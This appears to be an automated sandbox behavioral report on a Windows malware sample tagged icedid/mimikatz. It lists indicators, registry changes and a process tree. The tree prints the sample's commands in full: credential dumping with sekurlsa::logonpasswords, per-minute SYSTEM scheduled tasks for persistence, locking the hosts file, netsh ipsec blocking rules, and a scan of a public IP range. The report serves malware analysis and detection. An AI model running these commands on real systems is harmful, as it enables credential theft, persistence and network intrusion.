\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wvqitbt.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language uyziuqies.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wpcap.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 4492 cmd.exe 1548 PING.EXE -
NSIS installer 3 IoCs
resource yara_rule behavioral2/files/0x00070000000234cc-6.dat nsis_installer_2 behavioral2/files/0x00110000000234d8-14.dat nsis_installer_1 behavioral2/files/0x00110000000234d8-14.dat nsis_installer_2 -
Modifies data under HKEY_USERS 45 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" nneuzcrpk.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" nneuzcrpk.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" nneuzcrpk.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" nneuzcrpk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump nneuzcrpk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump nneuzcrpk.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" nneuzcrpk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump nneuzcrpk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump nneuzcrpk.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" nneuzcrpk.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" wvqitbt.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump nneuzcrpk.exe Key created \REGISTRY\USER\.DEFAULT\Software nneuzcrpk.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" nneuzcrpk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump nneuzcrpk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump nneuzcrpk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump nneuzcrpk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump nneuzcrpk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump nneuzcrpk.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" nneuzcrpk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump nneuzcrpk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ wvqitbt.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump nneuzcrpk.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" nneuzcrpk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump nneuzcrpk.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" nneuzcrpk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing wvqitbt.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" nneuzcrpk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump nneuzcrpk.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" nneuzcrpk.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" nneuzcrpk.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" nneuzcrpk.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" nneuzcrpk.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" nneuzcrpk.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" wvqitbt.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" nneuzcrpk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump nneuzcrpk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump nneuzcrpk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing nneuzcrpk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump nneuzcrpk.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" wvqitbt.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" wvqitbt.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals nneuzcrpk.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" nneuzcrpk.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump nneuzcrpk.exe -
Modifies registry class 14 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ wvqitbt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" wvqitbt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ wvqitbt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" wvqitbt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" wvqitbt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ wvqitbt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ wvqitbt.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ wvqitbt.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1548 PING.EXE -
Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1708 schtasks.exe 4200 schtasks.exe 3484 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe -
Suspicious behavior: LoadsDriver 15 IoCs
pid Process 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found -
Suspicious behavior: RenamesItself 1 IoCs
pid Process 3416 2024-07-25_43c465b7b59d2ca4a9daf993223c17f3_hacktools_icedid_mimikatz.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 3416 2024-07-25_43c465b7b59d2ca4a9daf993223c17f3_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 4036 wvqitbt.exe Token: SeDebugPrivilege 4320 wvqitbt.exe Token: SeDebugPrivilege 936 vfshost.exe Token: SeDebugPrivilege 1644 nneuzcrpk.exe Token: SeLockMemoryPrivilege 5068 riilbv.exe Token: SeLockMemoryPrivilege 5068 riilbv.exe Token: SeDebugPrivilege 1000 nneuzcrpk.exe Token: SeDebugPrivilege 1536 nneuzcrpk.exe Token: SeDebugPrivilege 1620 nneuzcrpk.exe Token: SeDebugPrivilege 4136 nneuzcrpk.exe Token: SeDebugPrivilege 3612 nneuzcrpk.exe Token: SeDebugPrivilege 2612 nneuzcrpk.exe Token: SeDebugPrivilege 3192 nneuzcrpk.exe Token: SeDebugPrivilege 716 nneuzcrpk.exe Token: SeDebugPrivilege 5028 nneuzcrpk.exe Token: SeDebugPrivilege 4536 nneuzcrpk.exe Token: SeDebugPrivilege 2260 nneuzcrpk.exe Token: SeDebugPrivilege 2116 nneuzcrpk.exe Token: SeDebugPrivilege 3364 nneuzcrpk.exe Token: SeDebugPrivilege 4640 nneuzcrpk.exe Token: SeDebugPrivilege 3552 nneuzcrpk.exe Token: SeDebugPrivilege 4072 nneuzcrpk.exe Token: SeDebugPrivilege 3480 nneuzcrpk.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 3416 2024-07-25_43c465b7b59d2ca4a9daf993223c17f3_hacktools_icedid_mimikatz.exe 3416 2024-07-25_43c465b7b59d2ca4a9daf993223c17f3_hacktools_icedid_mimikatz.exe 4036 wvqitbt.exe 4036 wvqitbt.exe 4320 wvqitbt.exe 4320 wvqitbt.exe 3480 xohudmc.exe 5024 varpws.exe 2920 wvqitbt.exe 2920 wvqitbt.exe 6120 wvqitbt.exe 6120 wvqitbt.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3416 wrote to memory of 4492 3416 2024-07-25_43c465b7b59d2ca4a9daf993223c17f3_hacktools_icedid_mimikatz.exe 85 PID 3416 wrote to memory of 4492 3416 2024-07-25_43c465b7b59d2ca4a9daf993223c17f3_hacktools_icedid_mimikatz.exe 85 PID 3416 wrote to memory of 4492 3416 2024-07-25_43c465b7b59d2ca4a9daf993223c17f3_hacktools_icedid_mimikatz.exe 85 PID 4492 wrote to memory of 1548 4492 cmd.exe 87 PID 4492 wrote to memory of 1548 4492 cmd.exe 87 PID 4492 wrote to memory of 1548 4492 cmd.exe 87 PID 4492 wrote to memory of 4036 4492 cmd.exe 94 PID 4492 wrote to memory of 4036 4492 cmd.exe 94 PID 4492 wrote to memory of 4036 4492 cmd.exe 94 PID 4320 wrote to memory of 4084 4320 wvqitbt.exe 96 PID 4320 wrote to memory of 4084 4320 wvqitbt.exe 96 PID 4320 wrote to memory of 4084 4320 wvqitbt.exe 96 PID 4084 wrote to memory of 2848 4084 cmd.exe 98 PID 4084 wrote to memory of 2848 4084 cmd.exe 98 PID 4084 wrote to memory of 2848 4084 cmd.exe 98 PID 4084 wrote to memory of 3076 4084 cmd.exe 99 PID 4084 wrote to memory of 3076 4084 cmd.exe 99 PID 4084 wrote to memory of 3076 4084 cmd.exe 99 PID 4084 wrote to memory of 4340 4084 cmd.exe 100 PID 4084 wrote to memory of 4340 4084 cmd.exe 100 PID 4084 wrote to memory of 4340 4084 cmd.exe 100 PID 4084 wrote to memory of 2016 4084 cmd.exe 101 PID 4084 wrote to memory of 2016 4084 cmd.exe 101 PID 4084 wrote to memory of 2016 4084 cmd.exe 101 PID 4084 wrote to memory of 3236 4084 cmd.exe 102 PID 4084 wrote to memory of 3236 4084 cmd.exe 102 PID 4084 wrote to memory of 3236 4084 cmd.exe 102 PID 4084 wrote to memory of 3960 4084 cmd.exe 103 PID 4084 wrote to memory of 3960 4084 cmd.exe 103 PID 4084 wrote to memory of 3960 4084 cmd.exe 103 PID 4320 wrote to memory of 4192 4320 wvqitbt.exe 105 PID 4320 wrote to memory of 4192 4320 wvqitbt.exe 105 PID 4320 wrote to memory of 4192 4320 wvqitbt.exe 105 PID 4320 wrote to memory of 1684 4320 wvqitbt.exe 108 PID 4320 wrote to memory of 1684 4320 wvqitbt.exe 108 PID 4320 wrote to memory of 1684 4320 wvqitbt.exe 108 PID 4320 wrote to memory of 924 4320 wvqitbt.exe 110 PID 4320 wrote to memory of 924 4320 wvqitbt.exe 110 PID 4320 wrote to memory of 924 4320 wvqitbt.exe 110 PID 4320 wrote to memory of 2096 4320 wvqitbt.exe 115 PID 4320 wrote to memory of 2096 4320 wvqitbt.exe 115 PID 4320 wrote to memory of 2096 4320 wvqitbt.exe 115 PID 2096 wrote to memory of 4640 2096 cmd.exe 117 PID 2096 wrote to memory of 4640 2096 cmd.exe 117 PID 2096 wrote to memory of 4640 2096 cmd.exe 117 PID 4640 wrote to memory of 1424 4640 wpcap.exe 118 PID 4640 wrote to memory of 1424 4640 wpcap.exe 118 PID 4640 wrote to memory of 1424 4640 wpcap.exe 118 PID 1424 wrote to memory of 448 1424 net.exe 120 PID 1424 wrote to memory of 448 1424 net.exe 120 PID 1424 wrote to memory of 448 1424 net.exe 120 PID 4640 wrote to memory of 1652 4640 wpcap.exe 121 PID 4640 wrote to memory of 1652 4640 wpcap.exe 121 PID 4640 wrote to memory of 1652 4640 wpcap.exe 121 PID 1652 wrote to memory of 2184 1652 net.exe 123 PID 1652 wrote to memory of 2184 1652 net.exe 123 PID 1652 wrote to memory of 2184 1652 net.exe 123 PID 4640 wrote to memory of 3192 4640 wpcap.exe 124 PID 4640 wrote to memory of 3192 4640 wpcap.exe 124 PID 4640 wrote to memory of 3192 4640 wpcap.exe 124 PID 3192 wrote to memory of 3224 3192 net.exe 126 PID 3192 wrote to memory of 3224 3192 net.exe 126 PID 3192 wrote to memory of 3224 3192 net.exe 126 PID 4640 wrote to memory of 2148 4640 wpcap.exe 127
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1124
-
C:\Windows\TEMP\bitbeiukb\riilbv.exe"C:\Windows\TEMP\bitbeiukb\riilbv.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5068
-
-
C:\Users\Admin\AppData\Local\Temp\2024-07-25_43c465b7b59d2ca4a9daf993223c17f3_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-07-25_43c465b7b59d2ca4a9daf993223c17f3_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3416 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\cnrpkisu\wvqitbt.exe2⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:4492 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:1548
-
-
C:\Windows\cnrpkisu\wvqitbt.exeC:\Windows\cnrpkisu\wvqitbt.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4036
-
-
-
C:\Windows\cnrpkisu\wvqitbt.exeC:\Windows\cnrpkisu\wvqitbt.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4320 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4084 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:2848
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:3076
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:4340
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
- System Location Discovery: System Language Discovery
PID:2016
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3236
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:3960
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:4192
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:1684
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:924
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\guurlzbps\rbviglbfv\wpcap.exe /S2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2096 -
C:\Windows\guurlzbps\rbviglbfv\wpcap.exeC:\Windows\guurlzbps\rbviglbfv\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4640 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵
- Suspicious use of WriteProcessMemory
PID:1424 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵PID:448
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1652 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵
- System Location Discovery: System Language Discovery
PID:2184
-
-
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵
- Suspicious use of WriteProcessMemory
PID:3192 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵
- System Location Discovery: System Language Discovery
PID:3224
-
-
-
C:\Windows\SysWOW64\net.exenet start npf4⤵PID:2148
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵
- System Location Discovery: System Language Discovery
PID:2848
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
- System Location Discovery: System Language Discovery
PID:1472 -
C:\Windows\SysWOW64\net.exenet start npf3⤵
- System Location Discovery: System Language Discovery
PID:692 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:1816
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:3360
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
- System Location Discovery: System Language Discovery
PID:4280 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
- System Location Discovery: System Language Discovery
PID:4324
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\guurlzbps\rbviglbfv\uyziuqies.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\guurlzbps\rbviglbfv\Scant.txt2⤵PID:4380
-
C:\Windows\guurlzbps\rbviglbfv\uyziuqies.exeC:\Windows\guurlzbps\rbviglbfv\uyziuqies.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\guurlzbps\rbviglbfv\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2320
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\guurlzbps\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\guurlzbps\Corporate\log.txt2⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:4156 -
C:\Windows\guurlzbps\Corporate\vfshost.exeC:\Windows\guurlzbps\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:936
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ztrsteggt" /ru system /tr "cmd /c C:\Windows\ime\wvqitbt.exe"2⤵
- System Location Discovery: System Language Discovery
PID:3228 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:2552
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "ztrsteggt" /ru system /tr "cmd /c C:\Windows\ime\wvqitbt.exe"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:1708
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "vsgncbizb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\cnrpkisu\wvqitbt.exe /p everyone:F"2⤵
- System Location Discovery: System Language Discovery
PID:2808 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:4832
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "vsgncbizb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\cnrpkisu\wvqitbt.exe /p everyone:F"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3484
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "fvicitfst" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\bitbeiukb\riilbv.exe /p everyone:F"2⤵
- System Location Discovery: System Language Discovery
PID:3864 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:212
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "fvicitfst" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\bitbeiukb\riilbv.exe /p everyone:F"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:4200
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:4288
-
-
